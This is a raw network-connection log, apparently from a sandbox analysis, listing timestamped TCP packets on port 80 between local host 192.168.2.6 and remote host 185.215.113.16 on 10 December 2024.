Dec 10, 2024 02:50:28.007206917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.010615110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.010711908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.010750055 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.013463020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.013580084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.013624907 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.016314030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.016413927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.016458988 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.019213915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.019304037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.019347906 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.022042990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.022154093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.022198915 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.024883032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.025006056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.025046110 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.027760983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.027905941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.027949095 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.030635118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.030730009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.030776024 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.033487082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.033601999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.033634901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.036343098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.036454916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.036495924 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.038467884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.038546085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.038588047 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.040476084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.040661097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.040702105 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.042505980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.042618036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.042659044 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.044543982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.044688940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.044733047 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.046592951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.046744108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.046792030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.048625946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.048767090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.048804998 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.050709009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.050806046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.050875902 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.052720070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.053257942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.053302050 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.054728031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.054838896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.054874897 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.056766033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.056859016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.056895018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.058801889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.058928967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.058969021 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.060892105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.060997963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.061036110 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.062886000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.062979937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.063016891 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.064925909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.065068960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.065110922 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.066965103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.067079067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.067121029 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.069044113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.069216967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.069259882 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.071077108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.071207047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.071244955 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.175406933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.175503016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.175551891 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.176295996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.176386118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.176428080 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.178102016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.178220987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.178266048 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.179913044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.180027962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.180072069 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.181660891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.181760073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.181801081 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.183404922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.183517933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.183558941 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.185163975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.185254097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.185296059 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.186814070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.186933994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.186974049 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.188507080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.188661098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.188700914 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.190211058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.190300941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.190339088 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.191711903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.191833019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.191870928 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.193322897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.193464994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.193511009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.194900036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.195012093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.195053101 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.196465015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.196552992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.196594000 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.197998047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.198112011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.198151112 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.199554920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.199668884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.199712038 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.201133013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.201293945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.201335907 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.202667952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.202783108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.202822924 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.204235077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.204319954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.204361916 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.205770016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.205874920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.205912113 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.207372904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.207459927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.207500935 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.208887100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.208988905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.209029913 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.210449934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.210552931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.210594893 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.211990118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.212102890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.212141991 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.213576078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.213761091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.213803053 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.215161085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.215217113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.215257883 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.216643095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.216757059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.216794014 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.218260050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.218343973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.218383074 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.219758987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.219875097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.219914913 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.221319914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.221472979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.221514940 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.222892046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.223001003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.223037004 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.224442959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.224554062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.224596024 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.225980997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.226092100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.226131916 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.227529049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.227693081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.227732897 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.229103088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.229192019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.229229927 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.230671883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.230776072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.230815887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.232209921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.232321978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.232363939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.233757973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.233855963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.233897924 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.235316992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.235428095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.235466957 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.236861944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.236989021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.237032890 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.238426924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.238533020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.238570929 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.239976883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.240078926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.240118027 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.241535902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.241697073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.241734982 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.243087053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.243201971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.243242979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.244666100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.244791985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.244843006 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.246193886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.246305943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.246345043 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.247746944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.247848988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.247889996 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.249324083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.249428988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.249469995 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.250870943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.250989914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.251030922 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.252434015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.252545118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.252583981 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.253978968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.254112959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.254149914 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.255522013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.255634069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.255672932 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.257090092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.257256985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.257299900 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.258631945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.258774042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.258812904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.260152102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.307169914 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.367446899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.367562056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.367742062 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.368037939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.368320942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.368381023 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.368449926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.369658947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.369699955 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.369740963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.370961905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.371001959 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.371077061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.372279882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.372330904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.372370005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.373573065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.373619080 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.373687029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.374903917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.374952078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.375034094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.376184940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.376233101 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.376300097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.377367973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.377408981 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.377490997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.378632069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.378678083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.378766060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.379863024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.379915953 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.379982948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.381105900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.381150007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.381213903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.382328987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.382378101 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.382443905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.383534908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.383575916 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.383647919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.384727001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.384771109 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.384839058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.385951996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.385994911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.386075974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.387221098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.387264967 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.387340069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.388382912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.388423920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.388500929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.389616966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.389662981 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.389740944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.390830994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.390872955 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.390937090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.392026901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.392070055 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.392143011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.393244028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.393287897 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.393354893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.394484997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.394522905 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.394592047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.395699978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.395751953 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.395791054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.396892071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.396929979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.397008896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.398121119 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.398159981 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.398209095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.399339914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.399379015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.399518013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.400566101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.400607109 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.400651932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.401774883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.401818991 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.401907921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.402986050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.403027058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.403076887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.404202938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.404243946 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.404301882 CET	80	49752	185.215.113.16	192.168.2.6
